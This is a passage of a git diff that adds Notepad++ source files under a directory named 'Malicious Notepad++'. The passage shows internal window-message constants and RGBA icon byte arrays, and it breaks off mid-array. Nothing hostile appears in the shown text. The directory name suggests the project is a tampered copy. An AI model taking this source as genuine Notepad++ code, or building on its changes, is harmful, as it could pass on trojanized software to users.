(NOTEPADPLUS_USER_INTERNAL + 30) + #define NPPM_INTERNAL_RELOADSTYLERS (NOTEPADPLUS_USER_INTERNAL + 31) + #define NPPM_INTERNAL_DOCORDERCHANGED (NOTEPADPLUS_USER_INTERNAL + 32) + #define NPPM_INTERNAL_SETMULTISELCTION (NOTEPADPLUS_USER_INTERNAL + 33) + #define NPPM_INTERNAL_SCINTILLAFINFEROPENALL (NOTEPADPLUS_USER_INTERNAL + 34) + #define NPPM_INTERNAL_RECENTFILELIST_UPDATE (NOTEPADPLUS_USER_INTERNAL + 35) + #define NPPM_INTERNAL_RECENTFILELIST_SWITCH (NOTEPADPLUS_USER_INTERNAL + 36) + #define NPPM_INTERNAL_GETSCINTEDTVIEW (NOTEPADPLUS_USER_INTERNAL + 37) + #define NPPM_INTERNAL_ENABLESNAPSHOT (NOTEPADPLUS_USER_INTERNAL + 38) + #define NPPM_INTERNAL_SAVECURRENTSESSION (NOTEPADPLUS_USER_INTERNAL + 39) + #define NPPM_INTERNAL_FINDINFINDERDLG (NOTEPADPLUS_USER_INTERNAL + 40) + #define NPPM_INTERNAL_REMOVEFINDER (NOTEPADPLUS_USER_INTERNAL + 41) + #define NPPM_INTERNAL_RELOADSCROLLTOEND (NOTEPADPLUS_USER_INTERNAL + 42) // Used by Monitoring feature + #define NPPM_INTERNAL_FINDKEYCONFLICTS (NOTEPADPLUS_USER_INTERNAL + 43) + #define NPPM_INTERNAL_SCROLLBEYONDLASTLINE (NOTEPADPLUS_USER_INTERNAL + 44) + #define NPPM_INTERNAL_SETWORDCHARS (NOTEPADPLUS_USER_INTERNAL + 45) + #define NPPM_INTERNAL_EXPORTFUNCLISTANDQUIT (NOTEPADPLUS_USER_INTERNAL + 46) + #define NPPM_INTERNAL_PRNTANDQUIT (NOTEPADPLUS_USER_INTERNAL + 47) + + //wParam: 0 + //lParam: document new index +// See Notepad_plus_msgs.h +//#define NOTEPADPLUS_USER (WM_USER + 1000) + + // + // Used by Doc Monitor plugin + // + #define NPPM_INTERNAL_CHECKDOCSTATUS (NPPMSG + 53) + // VOID NPPM_CHECKDOCSTATUS(0, 0) + // check all opened documents status. + // If files are modified, then reloaod (with or without prompt, it depends on settings). + // if files are deleted, then prompt user to close the documents + + #define NPPM_INTERNAL_ENABLECHECKDOCOPT (NPPMSG + 54) + // VOID NPPM_ENABLECHECKDOCOPT(OPT, 0) + // where OPT is : + #define CHECKDOCOPT_NONE 0 + #define CHECKDOCOPT_UPDATESILENTLY 1 + #define CHECKDOCOPT_UPDATEGO2END 2 + + #define NPPM_INTERNAL_GETCHECKDOCOPT (NPPMSG + 55) + // INT NPPM_GETCHECKDOCOPT(0, 0) + #define NPPM_INTERNAL_SETCHECKDOCOPT (NPPMSG + 56) + // INT NPPM_SETCHECKDOCOPT(OPT, 0) + + // + // Used by netnote plugin + // + #define NPPM_INTERNAL_SETFILENAME (NPPMSG + 63) + //wParam: BufferID to rename + //lParam: name to set (TCHAR*) + //Buffer must have been previously unnamed (eg "new 1" document types) + + + +#define SCINTILLA_USER (WM_USER + 2000) + + +#define MACRO_USER (WM_USER + 4000) + #define WM_GETCURRENTMACROSTATUS (MACRO_USER + 01) + #define WM_MACRODLGRUNMACRO (MACRO_USER + 02) + + +// See Notepad_plus_msgs.h +//#define RUNCOMMAND_USER (WM_USER + 3000) +#define SPLITTER_USER (WM_USER + 4000) +#define WORDSTYLE_USER (WM_USER + 5000) +#define COLOURPOPUP_USER (WM_USER + 6000) +#define BABYGRID_USER (WM_USER + 7000) + +//#define IDD_DOCKING_MNG (IDM + 7000) + +#define MENUINDEX_FILE 0 +#define MENUINDEX_EDIT 1 +#define MENUINDEX_SEARCH 2 +#define MENUINDEX_VIEW 3 +#define MENUINDEX_FORMAT 4 +#define MENUINDEX_LANGUAGE 5 +#define MENUINDEX_SETTINGS 6 +#define MENUINDEX_TOOLS 7 +#define MENUINDEX_MACRO 8 +#define MENUINDEX_RUN 9 +#define MENUINDEX_PLUGINS 10 diff --git a/Malicious Notepad++/src/rgba_icons.h b/Malicious Notepad++/src/rgba_icons.h new file mode 100644 index 0000000..2129b23 --- /dev/null +++ b/Malicious Notepad++/src/rgba_icons.h @@ -0,0 +1,567 @@ +// This file is part of Notepad++ project +// Copyright (C)2016 A-R-C-A < a r c a a t t u t a m a i l c o m > +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +static const unsigned char bookmark18[1296] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x77, 0xD0, 0x4B, + 0x5A, 0x74, 0xD0, 0xA3, 0x58, 0x72, 0xD0, 0xDB, 0x53, 0x6F, 0xCE, 0xFE, + 0x4E, 0x6C, 0xCD, 0xFE, 0x47, 0x66, 0xCB, 0xDB, 0x40, 0x61, 0xC9, 0xA3, + 0x38, 0x5B, 0xC7, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x7A, 0xD2, 0x2B, 0x64, 0x7C, 0xD3, 0xC7, 0x6D, 0x85, 0xDB, 0xFF, + 0x6C, 0x84, 0xDB, 0xFF, 0x68, 0x82, 0xDA, 0xFF, 0x63, 0x7F, 0xD8, 0xFF, + 0x5D, 0x78, 0xD7, 0xFF, 0x56, 0x74, 0xD5, 0xFF, 0x4E, 0x6D, 0xD3, 0xFF, + 0x46, 0x66, 0xD1, 0xFF, 0x35, 0x58, 0xC6, 0xC7, 0x2C, 0x51, 0xC4, 0x2B, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x7C, 0xD3, 0x3B, + 0x69, 0x80, 0xD4, 0xE8, 0x75, 0x8B, 0xDD, 0xFF, 0x77, 0x8E, 0xDE, 0xFF, + 0x75, 0x8B, 0xDD, 0xFF, 0x71, 0x89, 0xDC, 0xFF, 0x6B, 0x84, 0xDB, 0xFF, + 0x63, 0x7F, 0xD8, 0xFF, 0x5B, 0x77, 0xD6, 0xFF, 0x53, 0x72, 0xD4, 0xFF, + 0x4A, 0x6A, 0xD2, 0xFF, 0x41, 0x63, 0xCF, 0xFF, 0x30, 0x54, 0xC5, 0xE8, + 0x27, 0x4C, 0xC2, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x7A, 0xD2, 0x2B, 0x69, 0x80, 0xD4, 0xE8, + 0x78, 0x8E, 0xDE, 0xFF, 0x7E, 0x91, 0xE0, 0xFF, 0x80, 0x95, 0xE0, 0xFF, + 0x7E, 0x91, 0xE0, 0xFF, 0x78, 0x8E, 0xDE, 0xFF, 0x71, 0x89, 0xDC, 0xFF, + 0x68, 0x82, 0xDA, 0xFF, 0x60, 0x7A, 0xD8, 0xFF, 0x56, 0x74, 0xD5, 0xFF, + 0x4D, 0x6C, 0xD3, 0xFF, 0x44, 0x65, 0xD0, 0xFF, 0x3B, 0x5E, 0xCE, 0xFF, + 0x29, 0x4F, 0xC3, 0xE8, 0x1F, 0x46, 0xC0, 0x2B, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x64, 0x7C, 0xD3, 0xC7, 0x75, 0x8B, 0xDD, 0xFF, + 0x7E, 0x91, 0xE0, 0xFF, 0x86, 0x99, 0xE2, 0xFF, 0x8A, 0x9B, 0xE3, 0xFF, + 0x86, 0x99, 0xE2, 0xFF, 0x7E, 0x91, 0xE0, 0xFF, 0x75, 0x8B, 0xDD, 0xFF, + 0x6C, 0x84, 0xDB, 0xFF, 0x62, 0x7E, 0xD8, 0xFF, 0x59, 0x76, 0xD6, 0xFF, + 0x4F, 0x6E, 0xD3, 0xFF, 0x46, 0x66, 0xD1, 0xFF, 0x3C, 0x5F, 0xCE, 0xFF, + 0x32, 0x58, 0xCB, 0xFF, 0x21, 0x49, 0xC1, 0xC7, 0x00, 0x00, 0x00, 0x00, + 0x5B, 0x77, 0xD0, 0x4B, 0x6D, 0x85, 0xDB, 0xFF, 0x77, 0x8E, 0xDE, 0xFF, + 0x80, 0x95, 0xE0, 0xFF, 0x8A, 0x9B, 0xE3, 0xFF, 0x8F, 0xA0, 0xE3, 0xFF, + 0x8A, 0x9B, 0xE3, 0xFF, 0x80, 0x95, 0xE0, 0xFF, 0x77, 0x8E, 0xDE, 0xFF, + 0x6D, 0x85, 0xDB, 0xFF, 0x63, 0x7F, 0xD8, 0xFF, 0x59, 0x76, 0xD6, 0xFF, + 0x50, 0x70, 0xD3, 0xFF, 0x46, 0x67, 0xD1, 0xFF, 0x3D, 0x60, 0xCE, 0xFF, + 0x33, 0x58, 0xCC, 0xFF, 0x29, 0x51, 0xC9, 0xFF, 0x18, 0x41, 0xBE, 0x4B, + 0x5A, 0x74, 0xD0, 0xA3, 0x6C, 0x84, 0xDB, 0xFF, 0x75, 0x8B, 0xDD, 0xFF, + 0x7E, 0x91, 0xE0, 0xFF, 0x86, 0x99, 0xE2, 0xFF, 0x8A, 0x9B, 0xE3, 0xFF, + 0x86, 0x99, 0xE2, 0xFF, 0x7E, 0x91, 0xE0, 0xFF, 0x75, 0x8B, 0xDD, 0xFF, + 0x6C, 0x84, 0xDB, 0xFF, 0x62, 0x7E, 0xD8, 0xFF, 0x59, 0x76, 0xD6, 0xFF, + 0x4F, 0x6E, 0xD3, 0xFF, 0x46, 0x66, 0xD1, 0xFF, 0x3C, 0x5F, 0xCE, 0xFF, + 0x32, 0x58, 0xCB, 0xFF, 0x29, 0x50, 0xC9, 0xFF, 0x17, 0x41, 0xBE, 0xA3, + 0x58, 0x72, 0xD0, 0xDB, 0x68, 0x82, 0xDA, 0xFF, 0x71, 0x89, 0xDC, 0xFF, + 0x78, 0x8E, 0xDE, 0xFF, 0x7E, 0x91, 0xE0, 0xFF, 0x80, 0x95, 0xE0, 0xFF, + 0x7E, 0x91, 0xE0, 0xFF, 0x78, 0x8E, 0xDE, 0xFF, 0x71, 0x89, 0xDC, 0xFF, + 0x68, 0x82, 0xDA, 0xFF, 0x60, 0x7A, 0xD8, 0xFF, 0x56, 0x74, 0xD5, 0xFF, + 0x4D, 0x6C, 0xD3, 0xFF, 0x44, 0x65, 0xD0, 0xFF, 0x3B, 0x5E, 0xCE, 0xFF, + 0x31, 0x57, 0xCB, 0xFF, 0x27, 0x4F, 0xC8, 0xFF, 0x16, 0x40, 0xBE, 0xDB, + 0x53, 0x6F, 0xCE, 0xFE, 0x63, 0x7F, 0xD8, 0xFF, 0x6B, 0x84, 0xDB, 0xFF, + 0x71, 0x89, 0xDC, 0xFF, 0x75, 0x8B, 0xDD, 0xFF, 0x77, 0x8E, 0xDE, 0xFF, + 0x75, 0x8B, 0xDD, 0xFF, 0x71, 0x89, 0xDC, 0xFF, 0x6B, 0x84, 0xDB, 0xFF, + 0x63, 0x7F, 0xD8, 0xFF, 0x5B, 0x77, 0xD6, 0xFF, 0x53, 0x72, 0xD4, 0xFF, + 0x4A, 0x6A, 0xD2, 0xFF, 0x41, 0x63, 0xCF, 0xFF, 0x38, 0x5C, 0xCD, 0xFF, + 0x2F, 0x54, 0xCA, 0xFF, 0x25, 0x4D, 0xC8, 0xFF, 0x14, 0x3F, 0xBD, 0xFE, + 0x4E, 0x6C, 0xCD, 0xFE, 0x5D, 0x78, 0xD7, 0xFF, 0x63, 0x7F, 0xD8, 0xFF, + 0x68, 0x82, 0xDA, 0xFF, 0x6C, 0x84, 0xDB, 0xFF, 0x6D, 0x85, 0xDB, 0xFF, + 0x6C, 0x84, 0xDB, 0xFF, 0x68, 0x82, 0xDA, 0xFF, 0x63, 0x7F, 0xD8, 0xFF, + 0x5D, 0x78, 0xD7, 0xFF, 0x56, 0x74, 0xD5, 0xFF, 0x4E, 0x6D, 0xD3, 0xFF, + 0x46, 0x66, 0xD1, 0xFF, 0x3D, 0x61, 0xCE, 0xFF, 0x34, 0x59, 0xCC, 0xFF, + 0x2B, 0x52, 0xCA, 0xFF, 0x23, 0x4B, 0xC7, 0xFF, 0x11, 0x3B, 0xBD, 0xFE, + 0x47, 0x66, 0xCB, 0xDB, 0x56, 0x74, 0xD5, 0xFF, 0x5B, 0x77, 0xD6, 0xFF, + 0x60, 0x7A, 0xD8, 0xFF, 0x62, 0x7E, 0xD8, 0xFF, 0x63, 0x7F, 0xD8, 0xFF, + 0x62, 0x7E, 0xD8, 0xFF, 0x60, 0x7A, 0xD8, 0xFF, 0x5B, 0x77, 0xD6, 0xFF, + 0x56, 0x74, 0xD5, 0xFF, 0x4F, 0x6E, 0xD3, 0xFF, 0x48, 0x69, 0xD1, 0xFF, + 0x40, 0x63, 0xCF, 0xFF, 0x38, 0x5C, 0xCD, 0xFF, 0x30, 0x55, 0xCB, 0xFF, + 0x27, 0x4F, 0xC8, 0xFF, 0x1F, 0x49, 0xC6, 0xFF, 0x11, 0x3B, 0xBD, 0xDB, + 0x40, 0x61, 0xC9, 0xA3, 0x4E, 0x6D, 0xD3, 0xFF, 0x53, 0x72, 0xD4, 0xFF, + 0x56, 0x74, 0xD5, 0xFF, 0x59, 0x76, 0xD6, 0xFF, 0x59, 0x76, 0xD6, 0xFF, + 0x59, 0x76, 0xD6, 0xFF, 0x56, 0x74, 0xD5, 0xFF, 0x53, 0x72, 0xD4, 0xFF, + 0x4E, 0x6D, 0xD3, 0xFF, 0x48, 0x69, 0xD1, 0xFF, 0x41, 0x63, 0xCF, 0xFF, + 0x3B, 0x5E, 0xCE, 0xFF, 0x33, 0x58, 0xCC, 0xFF, 0x2B, 0x52, 0xCA, 0xFF, + 0x23, 0x4B, 0xC7, 0xFF, 0x1A, 0x46, 0xC5, 0xFF, 0x11, 0x3B, 0xBD, 0xA3, + 0x38, 0x5B, 0xC7, 0x4B, 0x46, 0x66, 0xD1, 0xFF, 0x4A, 0x6A, 0xD2, 0xFF, + 0x4D, 0x6C, 0xD3, 0xFF, 0x4F, 0x6E, 0xD3, 0xFF, 0x50, 0x70, 0xD3, 0xFF, + 0x4F, 0x6E, 0xD3, 0xFF, 0x4D, 0x6C, 0xD3, 0xFF, 0x4A, 0x6A, 0xD2, 0xFF, + 0x46, 0x66, 0xD1, 0xFF, 0x40, 0x63, 0xCF, 0xFF, 0x3B, 0x5E, 0xCE, 0xFF, + 0x34, 0x59, 0xCC, 0xFF, 0x2D, 0x54, 0xCA, 0xFF, 0x25, 0x4D, 0xC8, 0xFF, + 0x1E, 0x48, 0xC6, 0xFF, 0x19, 0x43, 0xC5, 0xFF, 0x11, 0x3B, 0xBD, 0x4B, + 0x00, 0x00, 0x00, 0x00, 0x35, 0x58, 0xC6, 0xC7, 0x41, 0x63, 0xCF, 0xFF, + 0x44, 0x65, 0xD0, 0xFF, 0x46, 0x66, 0xD1, 0xFF, 0x46, 0x67, 0xD1, 0xFF, + 0x46, 0x66, 0xD1, 0xFF, 0x44, 0x65, 0xD0, 0xFF, 0x41, 0x63, 0xCF, 0xFF, + 0x3D, 0x61, 0xCE, 0xFF, 0x38, 0x5C, 0xCD, 0xFF, 0x33, 0x58, 0xCC, 0xFF, + 0x2D, 0x54, 0xCA, 0xFF, 0x26, 0x4E, 0xC8, 0xFF, 0x1F, 0x49, 0xC6, 0xFF, + 0x19, 0x43, 0xC5, 0xFF, 0x11, 0x3B, 0xBD, 0xC7, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2C, 0x51, 0xC4, 0x2B, 0x30, 0x54, 0xC5, 0xE8, + 0x3B, 0x5E, 0xCE, 0xFF, 0x3C, 0x5F, 0xCE, 0xFF, 0x3D, 0x60, 0xCE, 0xFF, + 0x3C, 0x5F, 0xCE, 0xFF, 0x3B, 0x5E, 0xCE, 0xFF, 0x38, 0x5C, 0xCD, 0xFF, + 0x34, 0x59, 0xCC, 0xFF, 0x30, 0x55, 0xCB, 0xFF, 0x2B, 0x52, 0xCA, 0xFF, + 0x25, 0x4D, 0xC8, 0xFF, 0x1F, 0x49, 0xC6, 0xFF, 0x19, 0x43, 0xC5, 0xFF, + 0x11, 0x3B, 0xBD, 0xE8, 0x11, 0x3B, 0xBD, 0x2B, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x4C, 0xC2, 0x3B, + 0x29, 0x4F, 0xC3, 0xE8, 0x32, 0x58, 0xCB, 0xFF, 0x33, 0x58, 0xCC, 0xFF, + 0x32, 0x58, 0xCB, 0xFF, 0x31, 0x57, 0xCB, 0xFF, 0x2F, 0x54, 0xCA, 0xFF, + 0x2B, 0x52, 0xCA, 0xFF, 0x27, 0x4F, 0xC8, 0xFF, 0x23, 0x4B, 0xC7, 0xFF, + 0x1E, 0x48, 0xC6, 0xFF, 0x19, 0x43, 0xC5, 0xFF, 0x11, 0x3B, 0xBD, 0xE8, + 0x11, 0x3B, 0xBD, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1F, 0x46, 0xC0, 0x2B, 0x21, 0x49, 0xC1, 0xC7, 0x29, 0x51, 0xC9, 0xFF, + 0x29, 0x50, 0xC9, 0xFF, 0x27, 0x4F, 0xC8, 0xFF, 0x25, 0x4D, 0xC8, 0xFF, + 0x23, 0x4B, 0xC7, 0xFF, 0x1F, 0x49, 0xC6, 0xFF, 0x1A, 0x46, 0xC5, 0xFF, + 0x19, 0x43, 0xC5, 0xFF, 0x11, 0x3B, 0xBD, 0xC7, 0x11, 0x3B, 0xBD, 0x2B, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x41, 0xBE, 0x4B, + 0x17, 0x41, 0xBE, 0xA3, 0x16, 0x40, 0xBE, 0xDB, 0x14, 0x3F, 0xBD, 0xFE, + 0x11, 0x3B, 0xBD, 0xFE, 0x11, 0x3B, 0xBD, 0xDB, 0x11, 0x3B, 0xBD, 0xA3, + 0x11, 0x3B, 0xBD, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +static const unsigned char bookmark14[784] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x73, 0xD0, 0x17, 0x5A, 0x74, 0xD0, 0x87, 0x58, 0x73, 0xD0, 0xD3, + 0x54, 0x70, 0xCF, 0xFB, 0x4E, 0x6C, 0xCD, 0xFB, 0x45, 0x64, 0xCB, 0xD3, + 0x3C, 0x5C, 0xC8, 0x87, 0x32, 0x56, 0xC6, 0x17, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x5F, 0x78, 0xD2, 0x5B, 0x64, 0x7D, 0xD3, 0xEC, + 0x6E, 0x86, 0xDB, 0xFF, 0x6C, 0x85, 0xDB, 0xFF, 0x67, 0x80, 0xDA, 0xFF, + 0x5F, 0x7B, 0xD7, 0xFF, 0x56, 0x74, 0xD5, 0xFF, 0x4B, 0x6B, 0xD2, 0xFF, + 0x38, 0x5B, 0xC7, 0xEC, 0x2D, 0x52, 0xC4, 0x5B, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x78, 0xD2, 0x5B, + 0x70, 0x88, 0xDC, 0xFF, 0x78, 0x8E, 0xDE, 0xFF, 0x7B, 0x91, 0xDF, 0xFF, + 0x78, 0x8E, 0xDE, 0xFF, 0x70, 0x88, 0xDC, 0xFF, 0x67, 0x80, 0xDA, 0xFF, + 0x5C, 0x78, 0xD7, 0xFF, 0x51, 0x6F, 0xD4, 0xFF, 0x45, 0x67, 0xD0, 0xFF, + 0x39, 0x5D, 0xCD, 0xFF, 0x25, 0x4C, 0xC2, 0x5B, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x73, 0xD0, 0x17, 0x64, 0x7D, 0xD3, 0xEC, 0x78, 0x8E, 0xDE, 0xFF, + 0x82, 0x96, 0xE1, 0xFF, 0x87, 0x99, 0xE2, 0xFF, 0x82, 0x96, 0xE1, 0xFF, + 0x78, 0x8E, 0xDE, 0xFF, 0x6C, 0x85, 0xDB, 0xFF, 0x60, 0x7B, 0xD8, 0xFF, + 0x54, 0x73, 0xD4, 0xFF, 0x48, 0x69, 0xD1, 0xFF, 0x3C, 0x5F, 0xCE, 0xFF, + 0x28, 0x4D, 0xC3, 0xEC, 0x1B, 0x43, 0xBF, 0x17, 0x5A, 0x74, 0xD0, 0x87, + 0x6E, 0x86, 0xDB, 0xFF, 0x7B, 0x91, 0xDF, 0xFF, 0x87, 0x99, 0xE2, 0xFF, + 0x8D, 0x9F, 0xE2, 0xFF, 0x87, 0x99, 0xE2, 0xFF, 0x7B, 0x91, 0xDF, 0xFF, + 0x6E, 0x86, 0xDB, 0xFF, 0x62, 0x7E, 0xD8, 0xFF, 0x56, 0x74, 0xD5, 0xFF, + 0x49, 0x69, 0xD2, 0xFF, 0x3D, 0x60, 0xCE, 0xFF, 0x30, 0x55, 0xCB, 0xFF, + 0x1C, 0x44, 0xBF, 0x87, 0x58, 0x73, 0xD0, 0xD3, 0x6C, 0x85, 0xDB, 0xFF, + 0x78, 0x8E, 0xDE, 0xFF, 0x82, 0x96, 0xE1, 0xFF, 0x87, 0x99, 0xE2, 0xFF, + 0x82, 0x96, 0xE1, 0xFF, 0x78, 0x8E, 0xDE, 0xFF, 0x6C, 0x85, 0xDB, 0xFF, + 0x60, 0x7B, 0xD8, 0xFF, 0x54, 0x73, 0xD4, 0xFF, 0x48, 0x69, 0xD1, 0xFF, + 0x3C, 0x5F, 0xCE, 0xFF, 0x30, 0x55, 0xCB, 0xFF, 0x1B, 0x43, 0xBF, 0xD3, + 0x54, 0x70, 0xCF, 0xFB, 0x67, 0x80, 0xDA, 0xFF, 0x70, 0x88, 0xDC, 0xFF, + 0x78, 0x8E, 0xDE, 0xFF, 0x7B, 0x91, 0xDF, 0xFF, 0x78, 0x8E, 0xDE, 0xFF, + 0x70, 0x88, 0xDC, 0xFF, 0x67, 0x80, 0xDA, 0xFF, 0x5C, 0x78, 0xD7, 0xFF, + 0x51, 0x6F, 0xD4, 0xFF, 0x45, 0x67, 0xD0, 0xFF, 0x39, 0x5D, 0xCD, 0xFF, + 0x2D, 0x54, 0xCA, 0xFF, 0x19, 0x42, 0xBF, 0xFB, 0x4E, 0x6C, 0xCD, 0xFB, + 0x5F, 0x7B, 0xD7, 0xFF, 0x67, 0x80, 0xDA, 0xFF, 0x6C, 0x85, 0xDB, 0xFF, + 0x6E, 0x86, 0xDB, 0xFF, 0x6C, 0x85, 0xDB, 0xFF, 0x67, 0x80, 0xDA, 0xFF, + 0x5F, 0x7B, 0xD7, 0xFF, 0x56, 0x74, 0xD5, 0xFF, 0x4B, 0x6B, 0xD2, 0xFF, + 0x40, 0x63, 0xCF, 0xFF, 0x35, 0x59, 0xCC, 0xFF, 0x29, 0x51, 0xC9, 0xFF, + 0x16, 0x40, 0xBE, 0xFB, 0x45, 0x64, 0xCB, 0xD3, 0x56, 0x74, 0xD5, 0xFF, + 0x5C, 0x78, 0xD7, 0xFF, 0x60, 0x7B, 0xD8, 0xFF, 0x62, 0x7E, 0xD8, 0xFF, + 0x60, 0x7B, 0xD8, 0xFF, 0x5C, 0x78, 0xD7, 0xFF, 0x56, 0x74, 0xD5, 0xFF, + 0x4D, 0x6C, 0xD3, 0xFF, 0x44, 0x65, 0xD0, 0xFF, 0x3A, 0x5E, 0xCE, 0xFF, + 0x30, 0x55, 0xCB, 0xFF, 0x25, 0x4C, 0xC8, 0xFF, 0x11, 0x3B, 0xBD, 0xD3, + 0x3C, 0x5C, 0xC8, 0x87, 0x4B, 0x6B, 0xD2, 0xFF, 0x51, 0x6F, 0xD4, 0xFF, + 0x54, 0x73, 0xD4, 0xFF, 0x56, 0x74, 0xD5, 0xFF, 0x54, 0x73, 0xD4, 0xFF, + 0x51, 0x6F, 0xD4, 0xFF, 0x4B, 0x6B, 0xD2, 0xFF, 0x44, 0x65, 0xD0, 0xFF, + 0x3C, 0x5F, 0xCE, 0xFF, 0x32, 0x58, 0xCB, 0xFF, 0x29, 0x50, 0xC9, 0xFF, + 0x1E, 0x48, 0xC6, 0xFF, 0x11, 0x3B, 0xBD, 0x87, 0x32, 0x56, 0xC6, 0x17, + 0x38, 0x5B, 0xC7, 0xEC, 0x45, 0x67, 0xD0, 0xFF, 0x48, 0x69, 0xD1, 0xFF, + 0x49, 0x69, 0xD2, 0xFF, 0x48, 0x69, 0xD1, 0xFF, 0x45, 0x67, 0xD0, 0xFF, + 0x40, 0x63, 0xCF, 0xFF, 0x3A, 0x5E, 0xCE, 0xFF, 0x32, 0x58, 0xCB, 0xFF, + 0x2A, 0x51, 0xC9, 0xFF, 0x21, 0x4A, 0xC7, 0xFF, 0x11, 0x3B, 0xBD, 0xEC, + 0x11, 0x3B, 0xBD, 0x17, 0x00, 0x00, 0x00, 0x00, 0x2D, 0x52, 0xC4, 0x5B, + 0x39, 0x5D, 0xCD, 0xFF, 0x3C, 0x5F, 0xCE, 0xFF, 0x3D, 0x60, 0xCE, 0xFF, + 0x3C, 0x5F, 0xCE, 0xFF, 0x39, 0x5D, 0xCD, 0xFF, 0x35, 0x59, 0xCC, 0xFF, + 0x30, 0x55, 0xCB, 0xFF, 0x29, 0x50, 0xC9, 0xFF, 0x21, 0x4A, 0xC7, 0xFF, + 0x19, 0x43, 0xC5, 0xFF, 0x11, 0x3B, 0xBD, 0x5B, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x4C, 0xC2, 0x5B, + 0x28, 0x4D, 0xC3, 0xEC, 0x30, 0x55, 0xCB, 0xFF, 0x30, 0x55, 0xCB, 0xFF, + 0x2D, 0x54, 0xCA, 0xFF, 0x29, 0x51, 0xC9, 0xFF, 0x25, 0x4C, 0xC8, 0xFF, + 0x1E, 0x48, 0xC6, 0xFF, 0x11, 0x3B, 0xBD, 0xEC, 0x11, 0x3B, 0xBD, 0x5B, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x43, 0xBF, 0x17, + 0x1C, 0x44, 0xBF, 0x87, 0x1B, 0x43, 0xBF, 0xD3, 0x19, 0x42, 0xBF, 0xFB, + 0x16, 0x40, 0xBE, 0xFB, 0x11, 0x3B, 0xBD, 0xD3, 0x11, 0x3B, 0xBD, 0x87, + 0x11, 0x3B, 0xBD, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00 +}; + +static const unsigned char hidelines_begin18[1296] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xA6, 0x72, 0xFF, + 0x49, 0xA6, 0x72, 0xFF, 0x49, 0xA6, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xA4, 0x70, 0xFF, + 0x5F, 0xB1, 0x84, 0xFF, 0x47, 0xA4, 0x70, 0xFF, 